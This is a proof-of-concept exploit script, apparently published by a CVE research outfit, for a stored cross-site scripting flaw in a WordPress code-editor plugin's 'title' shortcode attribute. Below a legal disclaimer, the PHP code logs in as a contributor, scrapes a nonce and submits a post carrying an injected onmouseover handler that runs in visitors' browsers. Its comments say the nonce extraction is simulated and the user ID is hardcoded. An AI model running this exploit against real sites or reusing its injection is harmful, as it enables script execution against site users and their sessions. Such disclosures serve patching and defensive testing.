CVE-2026-1827: IDE Micro code-editor <= 1.0.0 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'title' Shortcode Attribute (flask-micro)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1827 - IDE Micro code-editor <= 1.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'title' Shortcode Attribute
<?php
// CONFIGURATION
$target_url = 'http://vulnerable-wordpress-site.local';
$username = 'contributor_user';
$password = 'contributor_password';

// PAYLOAD: Basic XSS payload in the 'title' attribute of the codeflask shortcode.
$post_content = "This post contains a malicious shortcode.nn[codeflask title='" onmouseover="alert(document.domain)" bad=' language="python" code="print('hello')"]";
$post_title = 'Post with XSS Shortcode';

// Initialize cURL session for cookie handling
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// STEP 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);

// Check for login success by looking for a dashboard link or failure message.
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
    die('Login failed. Check credentials.');
}

// STEP 2: Create a new post with the malicious shortcode.
// Assumption: The plugin's shortcode is processed in the standard WordPress post editor.
$new_post_url = $target_url . '/wp-admin/post-new.php';
// First, GET the page to retrieve the nonce for creating a post.
curl_setopt($ch, CURLOPT_URL, $new_post_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// Extract the nonce for the 'create-post' action. This pattern is typical.
// The nonce field name may vary; common patterns include '_wpnonce' or 'meta-box-order-nonce'.
// This is a simulated extraction. A real script would use a proper HTML parser.
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';
if (empty($nonce)) {
    die('Could not extract required nonce from the new post page.');
}

// Prepare POST data for creating the post.
$post_data = [
    'post_title' => $post_title,
    'content' => $post_content,
    'publish' => 'Publish', // For contributor, this will submit for review.
    '_wpnonce' => $nonce,
    '_wp_http_referer' => '/wp-admin/post-new.php',
    'post_type' => 'post',
    'post_status' => 'pending', // Contributor role creates posts as 'pending'.
    'user_ID' => '2' // This would need to be dynamically fetched.
];

$save_post_url = $target_url . '/wp-admin/post.php';
curl_setopt($ch, CURLOPT_URL, $save_post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);

// Check for a successful response.
if (strpos($response, 'Post submitted') !== false || strpos($response, 'Post published') !== false || strpos($response, $post_title) !== false) {
    echo "Proof-of-concept likely successful. A post containing the malicious shortcode has been submitted.n";
    echo "The XSS payload will execute when a user views the published post.n";
} else {
    echo "Post creation may have failed. Manual verification required.n";
}

curl_close($ch);
?>